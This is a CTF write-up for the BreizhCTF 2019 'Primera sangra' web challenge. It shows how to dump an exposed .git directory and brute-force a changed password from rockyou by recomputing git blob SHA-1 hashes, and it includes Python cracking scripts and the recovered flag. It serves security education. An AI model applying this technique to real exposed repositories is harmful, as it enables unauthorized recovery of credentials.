Primera sangra

BreizhCTF 2019 - Web (175 pts).

BreizhCTF 2019: Primera sangra

Challenge details

Event Challenge Category Points Solves
BreizhCTF 2019 Primera sangra Web 175 2

Description

Zeecka: I lost the description but the topic was about an administrator who put his website in production and forgot to change his password. He decided to change it with vi on the production website.

URL: http://ctf.bzh:26000

TL;DR

We got a .git directory with files. The file containing a secret has been modified and did not correspond to any object hash inside the git directory. We had to change the secret file with each rockyou password and recompute each hash to retrieve the right password. The good one was the one matching with one of git hash objects.

Methodology

Webscan

The first step was not really hard. I used Acunetix web scanner but a scanner such as nikto or a simple dirbuster could have found the same entry point: a .git directory.

Git Dumper

I used the git-dumper tool to dump the .git directory.

mkdir output
python git-dumper.py http://ctf.bzh:21000/.git output

Identifying the vulnerability

First of all, I looked at the source code and tried to exploit pickle.load() features, without success. Looking at the challenge description we realized that one of the files didn’t match any hashes in .git directory:

git hash-object * 
b9a9f0016edfa13722676a5a7764e5e90683bb6e
a8d36c721525b80c9cb29dac6f06b5acf8c60c2b
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
tree .git/objects
├── 21
│   └── ff7f561f87c1a682d11dcb2572772e4e1872af
├── 37
│   └── 4e045ef2ea84be825ead668a69aac28ce7b53e
├── a8
│   └── d36c721525b80c9cb29dac6f06b5acf8c60c2b
├── b9
│   └── a9f0016edfa13722676a5a7764e5e90683bb6e
└── f9
    └── 0a1376b0c94bc33eb2f8e6e77f24f828039237

Here, the hash 3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f didn’t match any of the object hashes. This means the hash corresponds to a file that has been modified and not added inside the git directory (with git add).

This hash corresponds to the secret_password.py file.

git hash-object secret_password.py 
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
cat secret_password.py
secret_password = "REDACTED"

Here is the vulnerability: The secret_password.py has been edited but we still have the git hash object of the old secret_password.py file. We have to replace the “REDACTED” password with a password, re-compute the hash of the file and verify if the hash matches one of the objects. If it does, it means that we found the right password.

Bruteforce v1

I decided to write the following python script to bruteforce and get the good password using rockyou.txt wordlist:

import sys
import hashlib

hashes = ["21ff7f561f87c1a682d11dcb2572772e4e1872af",
"374e045ef2ea84be825ead668a69aac28ce7b53e",
"a8d36c721525b80c9cb29dac6f06b5acf8c60c2b",
"b9a9f0016edfa13722676a5a7764e5e90683bb6e",
"f90a1376b0c94bc33eb2f8e6e77f24f828039237"]

with open("rockyou.txt","r") as f:
    l = f.read().split()

for p in l:
    with open("tmp.txt","wb") as f2:
        f2.write('secret_password = "'+p+'"')
    h = os.popen('git hash-object tmp.txt').read()
    if h in hashes:
        print("Found flag : "+str(p))
        sys.exit()

The script was waaaaaay too long (hours of executions :‘( ). I had to compute the hash by myself.

Hashing algorithm

The hash object is generated with a special shasum:

echo -ne 'blob <content size>\0<content>' | shasum

We can verify with the following command:

echo -ne 'blob 28\0secret_password = "REDACTED"' | shasum
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
git hash-object secret_password.py
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f

Bruteforce v2

Here is the final version of the script (note that no system() is involved):

import os
import sys
import hashlib

hashes = ["21ff7f561f87c1a682d11dcb2572772e4e1872af",
"374e045ef2ea84be825ead668a69aac28ce7b53e",
"a8d36c721525b80c9cb29dac6f06b5acf8c60c2b",
"b9a9f0016edfa13722676a5a7764e5e90683bb6e",
"f90a1376b0c94bc33eb2f8e6e77f24f828039237"]

fname = "tmp2.txt"


with open("rockyou.txt","r") as f:
    l = f.read().split()

for p in l:
    c = 'secret_password = "'+p+'"'
    h = hashlib.sha1('blob '+str(len(c))+'\0'+c).hexdigest()
    if h in hashes:
        print("Found flag : "+str(p))
        sys.exit()

It took 8 seconds !

Found flag : mhonowa2248116553575515246859

Flag

BREIZHCTF{mhonowa2248116553575515246859}

Zeecka